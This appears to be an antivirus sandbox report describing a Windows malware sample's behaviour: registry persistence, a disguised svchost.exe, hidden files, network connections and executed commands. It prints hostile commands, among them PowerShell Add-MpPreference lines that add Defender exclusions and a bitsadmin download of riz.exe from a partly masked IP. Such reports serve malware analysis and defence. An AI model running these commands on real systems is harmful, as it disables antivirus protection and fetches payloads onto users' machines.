Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] 'I0mdLesbV480vVcbdf3ef4IyW' = 'C:\Users\Public\Documents\CFa0pB0WbHd64TU38487r28Jda0caM06O590\svchost.exe'
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] 'C:\Users\Public\Documents\CFa0pB0WbHd64TU38487r28Jda0caM06O590\svchost.exe' = '00000000'
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\riz.exe' = '00000000'
Modifies file system
Creates the following files
- %TEMP%\bit556f.tmp
- <Current directory>\446adcb11fce42ceb22e2a0f1f2d285d.dll
- C:\users\public\documents\cfa0pb0wbhd64tu38487r28jda0cam06o590\svchost.exe
- %TEMP%\e078fdc4c8de4374b05c97aeb03431bc
Sets the 'hidden' attribute to the following files
- %TEMP%\bit556f.tmp
Moves the following files
- from %TEMP%\bit556f.tmp to %TEMP%\riz.exe
Network activity
Connects to
- '46.##3.223.34':80
- 'ba###pcost.gq':443
TCP
HTTP GET requests
- http://46.##3.223.34/riz.exe
Other
- 'ba###pcost.gq':443
UDP
- DNS ASK ba###pcost.gq
Miscellaneous
Creates and executes the following
- '%TEMP%\riz.exe'
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%TEMP%\riz.exe" -Force
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\CFa0pB0WbHd64TU38487r28Jda0caM06O590\svchost.exe" -Force
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 http://46.##3.223.34/riz.exe %TEMP%\riz.exe' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\CFa0pB0WbHd64TU38487r28Jda0caM06O590\svchost.exe" -Force' (with hidden window)
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "%TEMP%\riz.exe" -Force' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer 8 http://46.##3.223.34/riz.exe %TEMP%\riz.exe
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' Add-MpPreference -ExclusionPath "C:\Users\Public\Documents\CFa0pB0WbHd64TU38487r28Jda0caM06O590\svchost.exe" -Force
